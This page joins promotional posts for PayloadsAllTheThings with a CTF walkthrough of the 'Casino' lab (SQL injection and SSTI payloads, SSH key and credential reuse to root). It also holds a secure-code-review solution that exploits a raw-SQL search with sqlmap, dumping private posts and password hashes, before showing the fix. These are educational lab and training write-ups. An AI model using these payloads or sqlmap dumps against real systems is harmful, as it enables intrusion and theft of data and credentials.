ਕੀ ਤੁਸੀਂ ਵੈੱਬ ਐਪਲੀਕੇਸ਼ਨ ਸੁਰੱਖਿਆ ਟੈਸਟਿੰਗ ਨਾਲ ਜੂਝ ਰਹੇ ਹੋ? ਪੇਲੋਡਸ ਆਲ ਦ ਥਿੰਗਸ ਇੱਕ ਓਪਨ-ਸੋਰਸ ਸਰੋਤ ਹੈ ਜੋ ਪੈਨੇਟ੍ਰੇਸ਼ਨ ਟੈਸਟਿੰਗ ਲਈ ਉਪਯੋਗੀ ਪੇਲੋਡਸ ਅਤੇ ਬਾਈਪਾਸ ਨੂੰ ਸੂਚੀਬੱਧ ਕਰਦਾ ਹੈ। ਇਸ ਵਿੱਚ GitHub 'ਤੇ 81.8K ਤੋਂ ਵੱਧ ਸਟਾਰ ਹਨ, ਜੋ ਇਸਨੂੰ ਤੁਹਾਡੇ ਸੁਰੱਖਿਆ ਮੁਲਾਂਕਣਾਂ ਨੂੰ ਸੁਚਾਰੂ ਬਣਾਉਣ ਲਈ ਟੂਲਸ ਲਈ ਇੱਕ ਪ੍ਰਸਿੱਧ ਵਿਕਲਪ ਬਣਾਉਂਦੇ ਹਨ।
#websecurity #pentest #cybersecurity #bugbounty #opensource
ਹੋਰ AI, ਆਟੋਮੇਸ਼ਨ, ਅਤੇ ਓਪਨ-ਸੋਰਸ ਟੂਲਸ ਲਈ ਫਾਲੋ ਕਰੋ ਜੋ ਤੁਸੀਂ ਅਸਲ ਵਿੱਚ ਵਰਤ ਸਕਦੇ ਹੋ।
ਲਿੰਕ:
swisskyrepo/payloadsallthethings
[pl] Payloads All The Things
Masz problemy z testowaniem bezpieczeństwa aplikacji internetowych? Payloads All The Things to źródło open source, które zawiera listę przydatnych ładunków i obejść do testów penetracyjnych. Ma ponad 81,8 tys. gwiazdek na GitHubie, co czyni je popularnym wyborem wśród narzędzi usprawniających ocenę bezpieczeństwa.
#bezpieczeństwointernetowe #testypentestowe #cyberbezpieczeństwo #bugbounty #opensource
Obserwuj, aby dowiedzieć się więcej o sztucznej inteligencji, automatyzacji i narzędziach open source, z których możesz skorzystać.
Link:
swisskyrepo/payloadsallthethings
[pt-BR] Payloads All The Things
Com dificuldades para testar a segurança de aplicações web? O Payloads All The Things é um recurso de código aberto que lista payloads e métodos de bypass úteis para testes de penetração. Com mais de 81,8 mil estrelas no GitHub, é uma ferramenta popular para otimizar suas avaliações de segurança.
#websecurity #pentest #cybersecurity #bugbounty #opensource
Siga para mais ferramentas de IA, automação e código aberto que você pode usar na prática.
Link:
swisskyrepo/payloadsallthethings
[ru] Payloads All The Things
Испытываете трудности с тестированием безопасности веб-приложений? Payloads All The Things — это ресурс с открытым исходным кодом, содержащий список полезных нагрузок и способов обхода защиты для тестирования на проникновение. Он имеет более 81,8 тыс. звезд на GitHub, что делает его популярным инструментом для оптимизации оценки безопасности.
#веббезопасность #тестированиенапроникновение #кибербезопасность #багбаунти #открытыйисходныйкод
Подписывайтесь, чтобы получать больше информации об ИИ, автоматизации и инструментах с открытым исходным кодом, которые вы действительно можете использовать.
Ссылка:
swisskyrepo/payloadsallthethings
[ta] Payloads All The Things
வலைப் பயன்பாட்டுப் பாதுகாப்புச் சோதனையில் சிரமப்படுகிறீர்களா? பேலோட்ஸ் ஆல் தி திங்ஸ் (Payloads All The Things) என்பது ஊடுருவல் சோதனைக்கான பயனுள்ள பேலோட்கள் மற்றும் பைபாஸ்களைப் பட்டியலிடும் ஒரு திறந்த மூல வளமாகும். இது கிட்ஹப்பில் 81.8K-க்கும் அதிகமான ஸ்டார்களைப் பெற்றுள்ளது, இது உங்கள் பாதுகாப்பு மதிப்பீடுகளை நெறிப்படுத்த உதவும் கருவிகளில் ஒரு பிரபலமான தேர்வாக அமைகிறது.
#வலைபாதுகாப்பு #ஊடுருவல்சோதனை #சைபர்பாதுகாப்பு #பக்பவுண்டி #திறந்தமூலம்
நீங்கள் உண்மையில் பயன்படுத்தக்கூடிய மேலும் பல AI, ஆட்டோமேஷன் மற்றும் திறந்த மூலக் கருவிகளுக்குப் பின்தொடரவும்.
இணைப்பு:
swisskyrepo/payloadsallthethings
[te] Payloads All The Things
వెబ్ అప్లికేషన్ సెక్యూరిటీ టెస్టింగ్తో ఇబ్బంది పడుతున్నారా? Payloads All The Things అనేది పెనెట్రేషన్ టెస్టింగ్ కోసం ఉపయోగపడే పేలోడ్లు మరియు బైపాస్లను జాబితా చేసే ఒక ఓపెన్-సోర్స్ వనరు. GitHubలో దీనికి 81.8K కంటే ఎక్కువ స్టార్స్ ఉన్నాయి, అందువల్ల మీ సెక్యూరిటీ అసెస్మెంట్లను సులభతరం చేసే సాధనాలలో ఇది ఒక ప్రముఖ ఎంపికగా నిలిచింది.
#వెబ్సెక్యూరిటీ #పెంటెస్ట్ #సైబర్సెక్యూరిటీ #బగ్బౌంటీ #ఓపెన్సోర్స్
మీరు నిజంగా ఉపయోగించగల మరిన్ని AI, ఆటోమేషన్ మరియు ఓపెన్-సోర్స్ సాధనాల కోసం ఫాలో అవ్వండి.
లింక్: swisskyrepo/payloadsallthethings
[uk] Payloads All The Things
Маєте труднощі з тестуванням безпеки веб-застосунків? Payloads All The Things – це ресурс з відкритим кодом, який містить корисні корисні навантаження та способи обходу для тестування на проникнення. Він має понад 81,8 тисяч зірок на GitHub, що робить його популярним вибором для інструментів для оптимізації оцінки безпеки.
#веббезпека #пентест #кібербезпека #bugbounty #відкритийкод
Підпишіться, щоб дізнатися більше про інструменти штучного інтелекту, автоматизації та відкритого коду, які ви можете використовувати.
Посилання:
swisskyrepo/payloadsallthethings
16 likes · 162 views
Mentions
Casino (Medium) — Hack Smarter World walkthrough Casino (Medium) — From Source Map to Root 🎰 | Hack Smarter World Sometimes you start testing a login page expecting SQL injection, and end up finding something completely different. 😂 This is my walkthrough of Casino (Medium), a Web and Linux challenge on Hack Smarter World. The objective was to identify vulnerabilities in a resort's guest Wi-Fi portal and escalate privileges to root. The journey involved a forgotten JavaScript source map, an exposed API, Server-Side Template Injection (SSTI), SSH key exposure, credentials in Bash history, and finally, a root password sitting in a log file. Let's get into it! 1. Port Scanning with Nmap I started with an Nmap scan to identify the open ports and running services. nmap -sC -sV -p- <TARGET_IP> The interesting results were: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 80/tcp open http Werkzeug httpd 3.1.8 (Python 3.10.18) 2222/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u7 Three open ports, two SSH services, and a Python-based web application. Port 80 looked like the obvious starting point, so I opened the website and started exploring. 2. SQL Injection? Not Today. The website presented a guest Wi-Fi login page asking for a room number and last name. My first thought was SQL injection. I tried a few basic payloads against the last_name parameter: curl -X POST "http://<TARGET_IP>/login" \ -d "room_number=101&last_name='" -i curl -X POST "http://<TARGET_IP>/login" \ -d "room_number=101&last_name=xyz' OR '1'='1" -i curl -X POST "http://<TARGET_IP>/login" \ -d "room_number=101&last_name=xyz' UNION SELECT 1,2,3-- -" -i Every request returned the same authentication failure. I also tried an injection payload against the room number, but the application returned an invalid-format message. No useful behavior, no SQL errors, and no login bypass. Lesson: Don't get emotionally attached to a vulnerability just because it looks promising. The login form wasn't cooperating, so I moved on. 3. Finding the JavaScript Source Map While inspecting the login page's source, I noticed this line: <script src="/static/js/app.min.js"></script> I opened the JavaScript file and found: function initPortal(){console.log("Hack Smarter World WiFi Gateway Active");} document.addEventListener("DOMContentLoaded",initPortal); //# sourceMappingURL=app.min.js.map That last line caught my attention: //# sourceMappingURL=app.min.js.map A source map can reveal the original source code behind minified JavaScript. Naturally, I checked whether it was publicly accessible. curl -s http://<TARGET_IP>/static/js/app.min.js.map The response contained: { "version": 3, "file": "app.min.js", "sources": ["src/api/roomVerification.js"], "sourcesContent": [ "// Front-Desk Kiosk API verification helper\nasync function checkRoomStatus(roomNum) {\n const res = await fetch('/api/v1/rooms/status?status=occupied');\n return await res.json();\n}" ] } And there it was: /api/v1/rooms/status?status=occupied A previously undiscovered API endpoint. Time to investigate. 👀 4. An Unauthenticated API I visited the endpoint: curl -s \ "http://<TARGET_IP>/api/v1/rooms/status?status=occupied" The response contained multiple guest records, including room numbers, names, and checkout dates. The interesting part? The endpoint didn't require authentication. The login page was asking for guest details while another endpoint was exposing them. That's one way to make authentication unnecessarily difficult for legitimate users and unnecessarily easy for attackers. 😅 I examined the checkout dates to identify active reservations and used a valid room-number-and-last-name combination from the lab to log in. The application issued a session cookie and redirected me to the dashboard. Login bypass achieved. No SQL injection required. 5. SSTI — The Profile Field Was the Next Clue Once inside the dashboard, I found an edit-profile option where I could change my preferred name. The application was running Flask and Werkzeug, so I decided to test the field for Server-Side Template Injection. I started with the classic payload: {{7*7}} The application returned: 49 Then I tried: {{7*'7'}} The result was: 7777777 This behavior is consistent with Jinja2, which uses Python expression semantics for these operations. The field wasn't simply displaying my input—it was evaluating it as a template expression. A preferred-name field should display your name, not start doing your maths homework. 😂 6. From SSTI to a Shell The successful template-expression tests suggested SSTI. Further testing in the lab confirmed that the vulnerability could be escalated to operating-system command execution. I obtained a shell as: www-data This gave me an initial foothold on the system. The important point is that SSTI can become a serious vulnerability when untrusted input is interpreted as template code. In this case, the impact went beyond evaluating arithmetic expressions. 7. Finding George's SSH Private Key With access as www-data, I began examining the filesystem and looking for files that the compromised account could read. Inside George's home directory, I found SSH key material: /home/george/.ssh/ I checked the directory permissions and found that the private key, id_rsa, was readable by other users. Its permissions were effectively 644: -rw-r--r-- 1 george george ... id_rsa A private key that everyone can read isn't very private anymore. 💀 I copied the key, restricted its permissions locally, and used it to connect through SSH on port 2222: chmod 600 george_id_rsa ssh -i george_id_rsa george@<TARGET_IP> -p 2222 The connection succeeded, giving me access as George. One careless file-permission setting had turned a low-privileged web-server compromise into another user's shell. 8. George to David — Bash History to the Rescue Next, I checked George's privileges: sudo -l No useful sudo access. So I moved on to shell history: cat ~/.bash_history Among the commands, I found a sequence involving a switch to the david account and a database connection. The problem was that a password had been typed directly into the shell instead of being entered at the interactive password prompt. That meant the credential was sitting in Bash history in plaintext. There was also an attempt to clear the history: history -c Unfortunately, clearing the current in-memory history doesn't guarantee that previously written history files or other session records are erased. I used the recovered credential in the lab to switch to David. Another account, another step forward. Takeaway: Shell history is great for remembering commands, but terrible as a place to store passwords. 9. David to Root — The Provisioning Log As David, I checked sudo privileges again: sudo -l No direct route to root. However, I noticed that David belonged to the adm group. On many Linux systems, this group can read certain system logs. I inspected /var/log and found: /var/log/provisioning.log The file permissions showed that it was owned by root:adm and readable by the group. I opened it: cat /var/log/provisioning.log The log contained a root password in plaintext. At this point, the system had essentially left the final key in a file that my current user was allowed to read. Not exactly Fort Knox. 😂 I used the recovered credential through the lab's local authentication mechanism and checked my privileges: id The output confirmed root access: uid=0(root) gid=0(root) groups=0(root) Root obtained! 🎯 10. Attack Chain Summary Here's the entire path in one place: 1. Nmap identified the available services. 2. SQL injection attempts against the login form failed. 3. The JavaScript source map revealed an undocumented API endpoint. 4. The unauthenticated API exposed guest information. 5. A valid guest record enabled login to the portal. 6. SSTI in the profile field led to command execution as www-data. 7. A world-readable SSH private key enabled access as George. 8. George's Bash history exposed David's credentials. 9. David's adm group membership allowed reading a provisioning log. 10. The log exposed a root credential, leading to root access. 11. What Could Have Prevented This? - Source maps: Avoid exposing sensitive implementation details in production source maps. - API security: Enforce authentication and authorization on every sensitive endpoint. - SSTI: Never treat user-controlled input as template source code. - SSH keys: Restrict private keys to their intended owners. - Bash history: Avoid entering passwords directly into shell commands. - Logs: Never write reusable credentials into application or provisioning logs. - Least privilege: Restrict access to user directories and sensitive log files. Final Thoughts Casino was a good reminder that penetration testing isn't just about running tools and firing payloads at a login form. My first instinct was SQL injection, but the real route started with a forgotten source map. That led to an exposed API, then SSTI, and eventually a chain of local privilege-escalation mistakes. The same problem kept appearing in different forms: sensitive information was accessible where it shouldn't have been. A source map exposed an API. A private key was readable by other users. A password survived in shell history. A root credential ended up in a log file. Different mistakes, same result. Sometimes you don't need a fancy exploit when the target is already leaking the keys to the kingdom. 😂 References - SSTI Write-up — VulnMachines - HackTricks — Server-Side Template Injection - PayloadsAllTheThings — Server-Side Template Injection - Flask/Jinja2 SSTI Example #CyberSecurity #CTF #HackSmarter #Writeup #PenetrationTesting #Linux #SSTI #Jinja2 #PrivilegeEscalation
The Secure Code Review Challenge — Solution #7: Blogger (One Raw Query Is All It Takes) Blogger gets almost everything right: every edit and delete checks who owns the post, the database layer uses the Knex query builder (so values are sent as bound parameters), Nunjucks escapes everything it renders, passwords are hashed with bcrypt, and the session cookie is SameSite=Lax. It still lets anyone on the internet, without an account, read every private post and dump the users table. The way in is the search box. This post walks through the full review: how the app works, where user input goes, which defenses hold, which one is missing, a working exploit (with sqlmap doing the heavy lifting), and the fix. Every code snippet you need is included, so you don't have to open the repo to follow along. Each snippet links to its exact lines on GitHub if you want more context. 🎥 Prefer video? The full walkthrough is on YouTube: {% embed youtu.be %} --- What is the Secure Code Review Challenge? It's a free, biweekly series. Each challenge is a complete, realistic application with its own database, backend and UI, and one vulnerability planted on purpose, based on a real-world CVE or writeup. You review it the way you'd review a real codebase, then compare your reasoning with the published solution. Every solution follows the same 7-step methodology: 1. 🗺️ Understand the application: architecture and main user stories 2. 🚪 Identify entry points: where user input comes in 3. 🎯 Identify dangerous sinks: where input could change behavior (queries, file paths, HTML, …) 4. 🧩 Build a threat model: business-logic risks (authN/authZ) and source-to-sink risks (injection) 5. 🔍 Review mitigations: which threats are actually closed, and which aren't 6. 🧪 Exploit: prove the unmitigated one is real 7. 🛠️ Fix: a primary fix plus defense-in-depth 📌 Repo: mohamed-osama-aboelkheir/the-secure-code-review-challenge 📌 Challenge #7 source: github.com/mohamed-osama-aboelkheir/the-secure-co… > ⚠️ Spoiler warning: if you want to try Blogger yourself first, stop here and come back later. --- 1. 🗺️ Understanding the application Blogger is a small multi-user blogging platform. You sign up, write posts, mark some of them private, and search everything you're allowed to see. - Backend: Express.js 5 (Node) - Frontend: server-rendered HTML pages using the Nunjucks templating engine, served by the same Express app - Database: PostgreSQL, accessed through the Knex query builder - Auth: JWTs, sent either as a bearer header (JSON API) or in an httpOnly cookie (web UI) The README makes one security promise, and it explicitly includes search: > "A private post is visible, editable, and deletable only by its author — everyone else should be denied." > "A full-text search feature ranks posts by relevance. Results must respect privacy: you should see public posts plus your own private ones, and nobody else's private posts." The whole review comes down to whether that promise holds. A good way to understand a codebase is to read it as a set of stories. Two stories cover this app: what happens when it starts, and what happens when a user registers, reads, writes and searches posts. 🚀 Story 1: what happens when the app starts docker-compose.yml starts two containers: a stock postgres:16 and the app. Note the database user, because it matters later. The official postgres image creates POSTGRES_USER as a superuser, and the app connects as that same user: postgres: image: postgres:16 environment: POSTGRES_DB: blogger_db POSTGRES_USER: blogger_user POSTGRES_PASSWORD: blogger_password ... app: build: . environment: DATABASE_URL: postgres://blogger_user:blogger_password@postgres:5432/blogger_db docker-compose.yml#L1-L35 The Dockerfile installs the dependencies and runs node app.js. In app.js, the app configures Nunjucks with autoescaping on (an XSS defense we'll come back to), registers the body and cookie parsers, and mounts three routers: const env = nunjucks.configure(viewsPath, { autoescape: true, express: app, noCache: process.env.NODE_ENV !== 'production' }); ... app.use(express.json()); app.use(express.urlencoded({ extended: true })); app.use(cookieParser()); app.use('/', optionalAuth, pagesRoutes); app.use('/api/auth', authRoutes); app.use('/api/posts', optionalAuth, postsRoutes); app.js#L22-L37 The pages and the posts API both sit behind optionalAuth. That makes sense, because anonymous visitors can still read public posts. The middleware reads a JWT from the Authorization header or the token cookie, verifies it, loads the user from the database and sets req.user. If there's no valid token, it just moves on and leaves req.user empty: const optionalAuth = async (req, res, next) => { ... let token = null; const authHeader = req.headers.authorization; if (authHeader && authHeader.startsWith('Bearer ')) { token = authHeader.slice(7); } else if (req.cookies && req.cookies.token) { token = req.cookies.token; } if (!token) return next(); try { const decoded = jwt.verify(token, secret); const user = await db.findUserById(decoded.userId); if (user) { req.user = { id: user.id, username: user.username, email: user.email }; } } catch (_) {} next(); }; src/middleware/auth.js#L52-L76 So authentication is decided per handler, not by the middleware: every route that needs a logged-in user has to check req.user itself. All database access goes through one class, DatabaseStore in src/store/database.js, built on Knex. Both the JSON API and the HTML pages call the same store. The README calls them "the same data seen two ways". 🔄 Story 2: register → read → write → search Register and log in. Registration hashes the password with bcrypt (cost 10), creates the user and issues a JWT: const saltRounds = 10; const passwordHash = await bcrypt.hash(password, saltRounds); const user = await db.createUser(username, email, passwordHash); ... const token = issueToken(user); if (isWebForm(req)) { res.cookie('token', token, cookieOptions); return res.redirect('/my-posts'); } src/routes/auth.js#L58-L72 When the request comes from the web form, the token goes into a cookie with these options: const cookieOptions = { httpOnly: true, maxAge: 7 * 24 * 60 * 60 * 1000, path: '/', sameSite: 'lax' }; src/routes/auth.js#L21-L26 Read the feed. The feed query is built with the Knex builder, and the privacy rule ("public, or mine") is part of the WHERE clause: async getFeedPosts(userId, limit = 50) { const q = knex('posts as p') .join('users as u', 'p.user_id', 'u.id') .orderBy('p.created_at', 'desc') .limit(limit) .select('p.*', 'u.username as author_username'); if (userId) { q.where((builder) => { builder.where('p.is_private', false).orWhere('p.user_id', userId); }); } else { q.where('p.is_private', false); } ... } src/store/database.js#L66-L81 Read a single post. This one fetches the post by ID first, then checks privacy on the result: const post = await db.getPostById(req.params.id); if (!post) return res.status(404).json({ error: 'Post not found' }); if (post.isPrivate && (!req.user || req.user.id !== post.userId)) { return res.status(403).json({ error: 'Access denied' }); } src/routes/posts.js#L49-L53 Write, edit, delete. Every mutating handler follows the same pattern: require a login, load the post, compare owners: router.patch('/:id', async (req, res) => { ... if (!req.user) return res.status(401).json({ error: 'Authentication required' }); ... const existing = await db.getPostById(req.params.id); if (!existing) return res.status(404).json({ error: 'Post not found' }); if (existing.userId !== req.user.id) { return res.status(403).json({ error: 'Access denied' }); } src/routes/posts.js#L78-L86 …and the store scopes the write by owner a second time: const updated = await knex('posts') .where({ id: postId, user_id: userId }) .update({ ...data, updated_at: knex.fn.now() }) src/store/database.js#L101-L110 Search. The search route takes q from the query string and passes it to the store, along with the user ID if someone is logged in. No login is required: router.get('/search', async (req, res) => { ... const q = req.query.q; const userId = req.user ? req.user.id : null; const posts = await db.searchPosts(q, userId); res.json({ posts }); src/routes/posts.js#L33-L39 The web UI has the same thing at GET /search (pages.js#L48-L59). searchPosts uses PostgreSQL full-text search (to_tsvector, plainto_tsquery, ts_rank) to rank results by relevance. These functions aren't first-class in the Knex builder, so this is the only query in the store that's written by hand and passed to knex.raw. We'll look at it closely in step 4/5. 🧠 The key observation from step 1 Every query in the app goes through the Knex builder except one: getFeedPosts → knex('posts').where(...) builder ✔ getPostById → knex('posts').where(...) builder ✔ updatePost → knex('posts').where(...) builder ✔ deletePost → knex('posts').where(...) builder ✔ searchPosts → knex.raw(`...`) hand-written SQL ⚠️ Knex keeps you safe from SQL injection only as long as values go through it as bindings. The one place the developer stepped outside the builder is the place to slow down. --- 2. 🚪 Entry points Auth API - POST /api/auth/register: public, takes username, email, password, web - POST /api/auth/login: public, takes username, password, web Posts API - GET /api/posts/feed: optional auth, no other input - GET /api/posts/mine: login required, no other input - GET /api/posts/search?q=: optional auth, takes q - GET /api/posts/:id: optional auth (private posts → owner only), takes id - POST /api/posts: login required, takes title, body, is_private - PATCH /api/posts/:id: owner only, takes id, title, body, is_private - DELETE /api/posts/:id: owner only, takes id Web UI - GET /, GET /my-posts, GET /login, GET /register, GET /logout: an error query parameter on login/register - GET /search?q=: optional auth, takes q - GET /posts/new, GET /posts/:id, GET /posts/:id/edit, GET /posts/:id/delete: take id - POST /posts, POST /posts/:id, POST /posts/:id/delete: form fields title, body, is_private On every request: the Authorization header and the token cookie. 3. 🎯 Dangerous sinks - S1: SQL queries built with the Knex query builder → SQL injection. Fed from usernames, emails, post fields, :id and the JWT's userId. - S2: raw SQL passed to knex.raw (full-text search) → SQL injection. Fed from q. - S3: HTML rendering with Nunjucks → XSS. Fed from post titles and bodies, usernames, the search term and the error query parameter. - S4: redirects (/posts/${post.id}, /register?error=…) → open redirect. --- 4 & 5. 🧩 Threat model & 🔍 mitigation review 🔓 Business logic Missing authentication on mutating routes ✅. Since optionalAuth never blocks, each handler has to check for itself. Every POST, PATCH and DELETE on /api/posts starts with if (!req.user) return 401 (posts.js#L63, #L80, #L103), and every mutating page handler redirects to /login. IDOR on edit and delete ✅. Every handler compares existing.userId !== req.user.id before acting, and the store scopes the write with .where({ id: postId, user_id: userId }) too. That's two layers of defense. Private posts leaking through reads ✅ (on paper). There are three ways to read posts, and each one enforces "public, or mine": - Single post: fetched by ID, then checked on the result (post.isPrivate && req.user.id !== post.userId → 403). - Feed: the privacy rule is in the Knex builder's WHERE. - Search: the hand-written SQL has the same rule, WHERE (p.is_private = false OR p.user_id = ?). Keep this one in mind: the rule is only as strong as the SQL string it lives in. Mass assignment ✅. Can I create or edit a post so it looks like someone else wrote it? Only if user_id can come from the request. It can't: create and update copy only title, body and is_private from the body, and the owner always comes from req.user.id: const { title, body, is_private: isPrivate } = req.body; const updates = {}; if (title !== undefined) updates.title = title; if (body !== undefined) updates.body = body; if (isPrivate !== undefined) updates.is_private = isPrivate; src/routes/posts.js#L87-L91 CSRF ✅. The web UI uses cookie auth and plain HTML form POSTs with no CSRF token. The control here is the cookie's sameSite: 'lax': per MDN, the browser doesn't send a Lax cookie on cross-site POSTs, so a form forged on another site arrives unauthenticated. That's good enough in modern browsers, with the caveat that SameSite works per site, so a sibling subdomain isn't stopped (OWASP treats it as defense in depth). JWT and password weaknesses ✅. Tokens are signed and verified with the secret. With jsonwebtoken 9.x, unsigned alg: none tokens are refused by default, and the HMAC secret can't be swapped for a public key (v9 migration notes). The user is reloaded from the database on every request, and passwords are hashed with bcrypt. 💉 Source-to-sink S3, XSS ✅. Every value reaches the templates through {{ … }}, and autoescape: true makes Nunjucks HTML-escape & < > " '. That covers both element content (<p>{{ post.body }}</p>) and the quoted attribute in the search box (value="{{ query }}"). No template uses the | safe filter to turn escaping off. S4, open redirect ✅. An open redirect needs the destination to come from user input. Every redirect here goes to a hard-coded relative path (/login, /my-posts, /posts/<id>). The only user-controlled part is a post ID, which has to exist and pass the owner check first, and since posts.id is an integer column, //evil.com fails in Postgres before the redirect is ever reached. S1, SQL injection through the Knex builder ✅. .where('p.id', postId), .insert({...}), .update({...}): the builder sends every value as a bound parameter, never as SQL text. S2, SQL injection in the raw full-text search query ❌. Here's the query: async searchPosts(query, userId) { if (!query || typeof query !== 'string') { return this.getPublicPosts(20); } const uid = userId || null; const sql = ` SELECT p.*, u.username AS author_username FROM posts p JOIN users u ON p.user_id = u.id WHERE (p.is_private = false OR p.user_id = ?) AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}') ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC LIMIT 50 `; const result = await knex.raw(sql, [uid]); ... } src/store/database.js#L117-L134 Look at the two values in it: - The user ID is a ? placeholder, passed to knex.raw in the bindings array. That's safe. - The search term is pasted in with a JavaScript template literal, '${query}', twice. JavaScript substitutes it before Knex ever sees the string, so to knex.raw it's indistinguishable from SQL the developer wrote. Knex's raw docs are clear that only ? bindings are escaped. The only check on q is typeof query !== 'string', which stops arrays and objects but not quotes. And the privacy rule (p.is_private = false OR p.user_id = ?) is in the same SQL string, so anyone who can inject SQL there can override it. > 💡 Reviewer's lesson: a safe library protects only the queries that go through it. Hunt for the escape hatches (raw, whereRaw, orderByRaw), and in each one check that every value is a binding, not just the one that looks like it was done right. Unusual features, like full-text or vector search, are exactly where developers step off the safe path. --- 6. 🧪 Exploitation Why the classic payload fails The textbook test is x') OR 1=1 --. Here it returns a 500: $ curl -s -G http://localhost:3000/api/posts/search --data-urlencode "q=x') OR 1=1 --" {"error":"Internal server error"} The app log shows why. The term lands in two places. The payload closes the first one cleanly, but the -- comment in the second one swallows the closing brackets of the ORDER BY: ORDER BY ts_rank(to_tsvector(...), plainto_tsquery('english', 'x') OR 1=1 --')) DESC LIMIT 50 - syntax error at or near "LIMIT" A 500 doesn't mean "not exploitable". It means the payload has to be valid SQL in both places. You don't need to be an expert at building SQL injection payloads to get there, because you can automate it. The setup A victim, Alice, has a public post and a private one. Bob has a weak password: B=http://localhost:3000/api curl -s -X POST $B/auth/register -H Content-Type:application/json \ -d '{"username":"alice","email":"alice@example.com","password":"alicepass123"}' A=$(curl -s -X POST $B/auth/login -H Content-Type:application/json \ -d '{"username":"alice","password":"alicepass123"}' | jq -r .token) curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \ -d '{"title":"Hello world","body":"My first public post on Blogger."}' curl -s -X POST $B/posts -H "Authorization: Bearer $A" -H Content-Type:application/json \ -d '{"title":"Acquisition plans","body":"Secret: we are buying Initech next quarter.","is_private":true}' curl -s -X POST $B/auth/register -H Content-Type:application/json \ -d '{"username":"bob","email":"bob@example.com","password":"password"}' Control: the private post is protected everywhere else: $ curl -s $B/posts/2 {"error":"Access denied"} $ curl -s -G $B/posts/search --data-urlencode "q=acquisition" {"posts":[]} Every command below runs without any token or cookie. The attacker doesn't need an account. Step 1: let sqlmap find a payload that works sqlmap tries hundreds of payloads until one works: $ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \ --dbms=PostgreSQL --batch --time-sec 1 --is-dba ... [10:20:49] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be SQL injectable ... [10:20:55] [INFO] GET parameter 'q' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable ... Parameter: q (GET) Type: time-based blind Title: PostgreSQL > 8.1 AND time-based blind Payload: q=1'||(SELECT (CHR(89)||CHR(114)||CHR(84)||CHR(66)) WHERE 3661=3661 AND 7927=(SELECT 7927 FROM PG_SLEEP(1)))||' --- back-end DBMS: PostgreSQL current user is DBA: True [10:21:08] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 584 times What the options do: - -u "…/search?q=1": the target URL, with a normal value for the parameter - -p q: test only the q parameter - --level=5 --risk=3: try sqlmap's full set of payloads, including the heavier ones - --dbms=PostgreSQL: skip payloads for other databases (we know it's Postgres from docker-compose.yml) - --batch: accept the default answer to every prompt - --time-sec 1: how long the database sleeps for a "yes" (the default is 5) - --is-dba: check whether the database user is a superuser How to read the output: - "might not be SQL injectable": sqlmap's quick first check looks for a database error in the page and finds none, because the app hides errors behind a generic 500. A manual tester could stop here. sqlmap keeps going. - 584 × 500 errors: most payloads break the SQL, partly because the term lands twice. - The payload that works doesn't break out of the string. It glues a sub-query onto it with Postgres's || (string concatenation), so the quotes stay balanced and it's valid SQL in both places. The sub-query makes the database sleep when a condition is true. - Time-based blind: the search results never visibly change, so sqlmap asks yes/no questions ("is the first letter of the first username a?") and times each response. A 1-second delay means yes. It's slow, but it's fully automatic. (PortSwigger explains the technique.) - current user is DBA: True: the app connects as the superuser the postgres image created, so the injection has full database privileges. If you want to understand how payloads like these are built, PayloadsAllTheThings' PostgreSQL injection page is a good reference. Step 2: read Alice's private post $ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \ --dbms=PostgreSQL --batch --time-sec 1 \ --dump -D public -T posts -C title,body --where "is_private=true" ... Database: public Table: posts +-------------------+---------------------------------------------+ | title | body | +-------------------+---------------------------------------------+ | Acquisition plans | Secret: we are buying Initech next quarter. | +-------------------+---------------------------------------------+ Step 3: dump the users table $ sqlmap -u "http://localhost:3000/api/posts/search?q=1" -p q --risk=3 --level=5 \ --dbms=PostgreSQL --batch --time-sec 1 \ --dump -D public -T users -C username,password_hash ... +----------+--------------------------------------------------------------+ | username | password_hash | +----------+--------------------------------------------------------------+ | alice | $2b$10$b8z56oJRF405TWLN.HiFQuG1LnkzyUOpCJ9rxbWzsj80y81l6rn0K | | bob | $2b$10$/J2pPyfEzeISVD3fbQ77IutnM6iYAtQLb.ot6ugiSSehKaNMj4Tme | +----------+--------------------------------------------------------------+ sqlmap also offers a dictionary attack on the hashes it dumps. Bob's weak password (password) falls straight away. Alice's isn't in the wordlist, so her hash holds: bcrypt buys time, but only for passwords that aren't common. Impact: anyone on the internet, with no account, can read every private post, every username, email and password hash, and anything else in the database. Because the connection is a superuser, superuser-only functions like pg_read_file are available to the attacker too. Classification: SQL Injection, CWE-89, leading to a bypass of the privacy rule (CWE-639-style impact) and exposure of the users table. --- 7. 🛠️ The fix Primary fix: bind the search term instead of interpolating it. Replace both '${query}' with ? and pass the term in the bindings array, once for each placeholder: const sql = ` SELECT p.*, u.username AS author_username FROM posts p JOIN users u ON p.user_id = u.id WHERE (p.is_private = false OR p.user_id = ?) - AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', '${query}') - ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', '${query}')) DESC + AND to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')) @@ plainto_tsquery('english', ?) + ORDER BY ts_rank(to_tsvector('english', p.title || ' ' || COALESCE(p.body, '')), plainto_tsquery('english', ?)) DESC LIMIT 50 `; - const result = await knex.raw(sql, [uid]); + const result = await knex.raw(sql, [uid, query, query]); With the fix, sqlmap's sleep payload becomes plain search text and returns instantly: "hello" -> [{"id":1,"title":"Hello world"}] (63 ms) "1'||(SELECT 'x' FROM PG_SLEEP(3))||'" -> [] (1 ms) "acquisition" -> [] (1 ms) (anonymous caller: the private post stays hidden) plainto_tsquery is the right function for user text, because it parses free text and ignores operators. Once the value is bound, there's nothing left to inject. Even better: keep the query in the builder and only drop to raw SQL for the full-text expression, with bindings. The privacy filter then looks exactly like the feed's: 